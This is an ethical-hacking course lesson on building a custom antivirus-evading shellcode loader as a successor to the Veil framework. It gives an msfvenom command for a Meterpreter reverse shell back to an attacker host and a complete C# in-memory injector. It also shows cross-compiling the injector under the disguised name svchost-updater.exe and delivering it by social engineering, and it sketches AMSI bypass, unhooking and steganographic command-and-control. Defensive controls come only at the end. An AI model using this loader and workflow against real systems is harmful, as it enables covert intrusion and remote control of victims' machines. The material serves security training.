Cyber Services / All lessons / CEH — Ethical Hacking / Veil-Evasion Framework

Veil-Evasion Framework

Module 41 of 130 · 6 min read · Free to read

MODULES ↓ Command blocks have a COPY button
CRITICAL ETHICAL MANDATE: This guide dissects techniques used by malicious actors. This knowledge is intended for authorized security professionals to understand, identify, and mitigate threats. Unauthorized use is illegal and violates the core ethics of this certification.

I. From Automated Tools to First Principles

The journey of an ethical hacker involves moving from automated tools to a deep understanding of the underlying principles. Classic frameworks like Veil taught us a critical lesson: pre-packaged, signature-based payloads are doomed to fail. To achieve evasion, one must control the entire execution chain.

The Veil Legacy: Veil-Evasion automated the process of encrypting shellcode and embedding it in various loaders (Python, C#, etc.). Its weakness was that the loaders themselves became signatured. The modern approach, which we will follow, is to manually craft a unique loader, giving us full control over its structure and behavior.

II. Malware Engineering: The Shellcode Injection Workflow

Our objective is to execute a Meterpreter shellcode in the memory of a target process, bypassing static analysis by antivirus engines. We will accomplish this by creating a custom C# loader that performs this injection, a technique known as "process injection."

Phase 1: Generating the Core Component (Shellcode)

We begin by using msfvenom to generate our shellcode. The key is to output it as a C# byte array, which allows us to embed it directly into our loader's source code.

Bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Your_Kali_IP LPORT=4444 -f csharp -o shellcode.cs

This command creates a file, shellcode.cs, containing our payload formatted as byte[] buf = new byte[size] {0xfc, 0x48, ...};.

Phase 2: Crafting the C# Loader

Our loader will use direct Windows API calls via Platform Invocation Services (P/Invoke) to perform the injection. This gives us low-level control over the process.

C#
// Runner.cs - A simple in-memory shellcode injector
using System;
using System.Runtime.InteropServices;

public class Program {
    // Import necessary WinAPI functions from kernel32.dll
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

    public static void Main(string[] args) {
        // --- Paste the shellcode array from msfvenom's output here ---
        byte[] shellcode = new byte[510] { 0xfc, 0x48, 0x83, /* ... rest of shellcode ... */ };

        // 1. Allocate a block of memory with Read/Write/Execute permissions
        IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
        
        // 2. Copy the shellcode into the newly allocated memory space
        Marshal.Copy(shellcode, 0, mem, shellcode.Length);

        // 3. Execute the shellcode by creating a new thread pointing to our memory block
        uint threadId;
        CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, out threadId);
    }
}
Dissecting the WinAPI Calls:
  • VirtualAlloc: This is the core memory allocation function.
    • IntPtr.Zero: We let the OS decide where to place the memory block.
    • 0x3000: This is a bitwise combination of MEM_COMMIT (0x1000) and MEM_RESERVE (0x2000), which reserves and commits the memory pages in a single step.
    • 0x40: This is the crucial PAGE_EXECUTE_READWRITE flag. We are telling the OS that this memory region will contain executable code. EDR solutions heavily monitor calls that create executable memory pages.
  • CreateThread: This function creates a new thread of execution within the current process. We point its starting address directly to our allocated memory block (mem), causing the CPU to begin executing our shellcode.

Phase 3: Cross-Compiling for the Target

Using the Mono C# compiler on Kali, we can create a Windows executable without needing a Windows machine for development.

Bash
# Install Mono if needed: sudo apt update && sudo apt install mono-mcs -y
# Compile our C# source file into a .exe
mcs -out:svchost-updater.exe Runner.cs

We now have a self-contained executable, svchost-updater.exe, which looks more legitimate than `payload.exe`.

III. Advanced Evasion Concepts: The Next Level

A simple C# loader may still be caught by sophisticated EDRs. A real threat actor would layer more techniques:

API Unhooking & Direct Syscalls: EDRs work by "hooking" sensitive functions in libraries like ntdll.dll. When our program calls CreateThread, it's actually calling the EDR's hook, which inspects the call before passing it to the real function. Advanced malware bypasses this by either (a) restoring the original, unhooked version of the function from a clean copy on disk or (b) using direct "syscalls" to talk to the Windows kernel, bypassing the hooked user-land functions entirely.
AMSI Bypass: For script-based malware (PowerShell, VBScript), Microsoft's Anti-Malware Scan Interface (AMSI) allows AV/EDR to inspect code at runtime. A common evasion technique involves finding the AMSI library in memory and patching the function that triggers a scan, effectively disabling it for the current process.

IV. Steganography: The Threat Actor's Perspective

As covered in CEHv13, steganography is rarely used to deliver an initial executable. Its true power lies in its ability to create covert channels that blend in with legitimate network traffic.

APT Use Case: Image-Based C2 Channel
  1. An implant on a compromised host is programmed to periodically download a specific image from a public, high-reputation domain (e.g., a specific user's profile picture on a social media site).
  2. The APT actor updates this image. Using LSB steganography, they embed their next command (e.g., `run_mimikatz`, `exfiltrate_docs`) into the image's pixel data.
  3. The implant downloads the "new" image, extracts the command, executes it, and then embeds the output into a different image, which it uploads to another public service.

This C2 traffic is extremely difficult to detect because it just looks like a user browsing the web. No suspicious domains or direct IP connections are made.

V. The Attack Phase & Defensive Posture

1. Listener Setup and Execution

Set up the matching Metasploit listener (exploit/multi/handler) and deliver your compiled svchost-updater.exe to the victim via a social engineering pretext. Upon execution, you should receive a Meterpreter session.

Building a Resilient Defense

A multi-layered defense is required to counter these techniques:

  • Application Control (AppLocker/WDAC): The most effective control. In a whitelisting configuration, only signed and approved executables can run. Your unsigned, custom-compiled loader would be blocked by default.
  • EDR with Behavioral Analytics: An advanced EDR will detect the attack pattern: an unknown process allocating executable memory and then creating a thread within it. This process DNA is highly suspicious, regardless of the file's signature.
  • Memory Scanning: Modern security solutions can periodically scan process memory for IOCs, such as the unique strings or byte sequences found in Meterpreter's reflective loader.
  • Network Traffic Analysis: Even if the payload executes, the C2 connection to your Metasploit listener can be detected. Egress filtering and SSL/TLS inspection can identify anomalous outbound connections.
Modules (130) ← CEH — Ethical Hacking